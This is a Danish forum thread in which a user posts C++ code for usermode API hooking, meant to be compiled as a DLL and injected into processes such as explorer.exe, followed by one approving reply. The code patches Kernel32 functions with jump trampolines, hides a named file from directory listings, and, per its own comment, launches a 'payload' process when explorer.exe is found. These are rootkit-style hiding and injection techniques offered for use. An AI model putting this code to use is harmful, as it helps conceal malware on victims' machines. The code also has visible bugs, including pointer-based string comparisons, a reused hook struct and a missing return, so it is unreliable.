Tråd bedømmelse:
  • 0 Stemmer - 0 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
Usermode Hooking i C++ [Kode eksempel af mig + virker udmærket]
26-05-2017, 20:21 (Denne besked var sidst ændret: 27-05-2017, 16:08 af Abracadabra.)
#1
Usermode Hooking i C++ [Kode eksempel af mig + virker udmærket]

Usermode (ring3) Hooking i C++

Dette er et eksempel på usermode hooking, jeg har skrevet det i C++ til et lille library som jeg fandt online så jeg kunne bidrage med noget konstruktivt.

Hvis du bruger VC++ så skal du bare oprette et win32 projekt og vælge Applikation typen som DLL. Du komplier projekt og injecter DLL-filen ind i feks. explorer.
Hvis du bruger en anden editor så er det et klassisk komplie for DLL.

FindFileNext var noget som jeg var igang med men har ikke afsluttet det så du kan få lov at bokse lidt med det :'-)


main.cpp

#include <iostream>
#include <windows.h>


using namespace std;

BOOL TerminateProcess(DWORD dwProcessId, UINT uExitCode)
{
    DWORD dwDesiredAccess = PROCESS_TERMINATE;
    BOOL  bInheritHandle = FALSE;
    HANDLE hProcess = OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId);
    if (hProcess == NULL)
        return FALSE;

    BOOL result = TerminateProcess(hProcess, uExitCode);

    CloseHandle(hProcess);

    return result;
}
int main(void)
{
    cin.get();

    TerminateProcess(10944, 0);
    cin.get();

    return 0;
}

apihook.c
#include <Windows.h>
#include "apihook.h"
#include "Psapi.h"
#include <TlHelp32.h>
#include <stdio.h>

typedef BOOL(WINAPI *pOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessID);
typedef BOOL(WINAPI * pFindNextFile)(HANDLE hFindFile, LPWIN32_FIND_DATA lpFindFileData);
API_HOOK OpenHook, FindFileHook;

char szDllName[260];

BOOL WINAPI HookFindNextFile(HANDLE hFindFile, LPWIN32_FIND_DATA lpFindFileData) {
    pFindNextFile fnFindNextFile = (pFindNextFile)FindFileHook.OrigFunction;
    HANDLE temp_hFindFile = hFindFile;
    LPWIN32_FIND_DATA temp_lpFindFileData = lpFindFileData;
    fnFindNextFile(temp_hFindFile, &temp_lpFindFileData);
    MessageBoxA(0, temp_lpFindFileData->cFileName, "", 64);
    if (temp_lpFindFileData->cFileName == "test.txt") {
        SetLastError(ERROR_NO_MORE_FILES);
        return FALSE;
    }
    return fnFindNextFile(hFindFile, lpFindFileData);
}

BOOL WINAPI HookOP(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessID)
{
    pOpenProcess fnOpenProcess = (pOpenProcess)OpenHook.OrigFunction;

    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE ProcessByName = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    if (Process32First(ProcessByName, &entry) == TRUE)
    {
        while (Process32Next(ProcessByName, &entry) == TRUE)

        {
            // Finder processen ved NAVN istedet for PID.
            if (entry.szExeFile == "explorer.exe")
            {
                // Hvis "ProcessByName" fandt den kørende process, angrib med payload...
                PROCESS_INFORMATION piProcInfo;
                STARTUPINFO siStartInfo;
                CreateProcess("ping", "::1", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &siStartInfo, &piProcInfo);
                return fnOpenProcess(PROCESS_ALL_ACCESS, TRUE, piProcInfo.dwProcessId);
            }


        }
    }

    CloseHandle(ProcessByName);
}


BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
    char szModuleFileName[260], str[4096];

    switch (dwReason)
    {
    case DLL_PROCESS_ATTACH:

        GetModuleFileName(NULL, szModuleFileName, 260);
        OutputDebugString(str);

        GetModuleFileName(hModule, szDllName, 260);

        InitAPIHook(&OpenHook, "Kernel32.dll", "OpenProcess", HookOP);
        StartAPIHook(&OpenHook);
        InitAPIHook(&OpenHook, "Kernel32.dll", "FindNextFileW", HookFindNextFile);
        StartAPIHook(&OpenHook);
        break;

    case DLL_PROCESS_DETACH:

        GetModuleFileName(NULL, szModuleFileName, 260);
        OutputDebugString(str);

        UnhookAPIHook(&OpenHook);
        RemoveAPIHook(&OpenHook);


        break;
    }

    return TRUE;
}

apihook.h
#include "Windows.h"

typedef struct _API_HOOK
{
    BOOL Hooked;
    PVOID FunctionAddress;
    PVOID Hook;
    char jmp[6];
    char OrigBytes[6];
    PVOID OrigFunction;
}

API_HOOK, *PAPI_HOOK;

BOOL WINAPI InitAPIHook(PAPI_HOOK Hook, char* szModuleName, char* szFunctionName, PVOID HookFunction)
{
    HMODULE hModule;
    ULONG OrigFunction, FunctionAddress;
    
    if (Hook->Hooked)
    {
        return FALSE;
    }

    hModule = GetModuleHandle(szModuleName);

    if (hModule == NULL)
    {
        Hook->Hooked = FALSE;
        return FALSE;
    }

    Hook->FunctionAddress = GetProcAddress(hModule, szFunctionName);

    if (Hook->FunctionAddress == NULL)
    {
        Hook->Hooked = FALSE;
        return FALSE;
    }

    Hook->jmp[0] = 0xe9;
    *(PULONG)&Hook->jmp[1] = (ULONG)HookFunction - (ULONG)Hook->FunctionAddress - 5;

    memcpy(Hook->OrigBytes, Hook->FunctionAddress, 5);

    Hook->OrigFunction = VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (Hook->OrigFunction == NULL)
    {
        return FALSE;
    }

    memcpy(Hook->OrigFunction, Hook->OrigBytes, 5);

    OrigFunction = (ULONG)Hook->OrigFunction + 5;
    FunctionAddress = (ULONG)Hook->FunctionAddress + 5;

    *(LPBYTE)((LPBYTE)Hook->OrigFunction + 5) = 0xe9;
    *(PULONG)((LPBYTE)Hook->OrigFunction + 6) = (ULONG)FunctionAddress - (ULONG)OrigFunction - 5;

    Hook->Hooked = TRUE;
    return TRUE;
}

BOOL WINAPI InitAPIHookByAddress(PAPI_HOOK Hook, PVOID Address, PVOID HookFunction)
{
    ULONG OrigFunction, FunctionAddress;
    char opcodes[] = { 0x90,0x90,0x90,0x90,0x90,0xe9,0x00,0x00,0x00,0x00 };

    if (Hook->Hooked)
    {
        return FALSE;
    }

    Hook->FunctionAddress = Address;

    Hook->jmp[0] = 0xe9;
    *(PULONG)&Hook->jmp[1] = (ULONG)HookFunction - (ULONG)Hook->FunctionAddress - 5;

    memcpy(Hook->OrigBytes, Hook->FunctionAddress, 5);

    Hook->OrigFunction = VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    memcpy(Hook->OrigFunction, Hook->OrigBytes, 5);

    OrigFunction = (ULONG)Hook->OrigFunction + 5;
    FunctionAddress = (ULONG)Hook->FunctionAddress + 5;

    *(LPBYTE)((LPBYTE)Hook->OrigFunction + 5) = 0xe9;
    *(PULONG)((LPBYTE)Hook->OrigFunction + 6) = (ULONG)FunctionAddress - (ULONG)OrigFunction - 5;

    Hook->Hooked = TRUE;
    return TRUE;
}

BOOL WINAPI StartAPIHook(PAPI_HOOK Hook)
{
    DWORD op;

    if (!Hook->Hooked)
    {
        return FALSE;
    }

    VirtualProtect(Hook->FunctionAddress, 5, PAGE_EXECUTE_READWRITE, &op);
    memcpy(Hook->FunctionAddress, Hook->jmp, 5);
    VirtualProtect(Hook->FunctionAddress, 5, op, &op);

    return TRUE;
}

BOOL WINAPI UnhookAPIHook(PAPI_HOOK Hook)
{
    DWORD op;

    if (!Hook->Hooked)
    {
        return FALSE;
    }

    VirtualProtect(Hook->FunctionAddress, 5, PAGE_EXECUTE_READWRITE, &op);
    memcpy(Hook->FunctionAddress, Hook->OrigBytes, 5);
    VirtualProtect(Hook->FunctionAddress, 5, op, &op);

    Hook->Hooked = FALSE;
    return TRUE;
}

BOOL WINAPI RemoveAPIHook(PAPI_HOOK Hook)
{
    if (Hook->Hooked)
    {
        return FALSE;
    }

    VirtualFree(Hook->OrigFunction, 0, MEM_RELEASE);
    memset(Hook, 0, sizeof(API_HOOK));
    return TRUE;
}
xmpp: abracadabra@jabber.cz
Aldrig send en hare for at dræbe en ræv.
Find alle beskeder fra denne bruger
Citer denne besked i et svar
12-07-2017, 19:58
#2
RE: Usermode Hooking i C++ [Kode eksempel af mig + virker udmærket]
Det er smukt. :)
Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: 1 Gæst(er)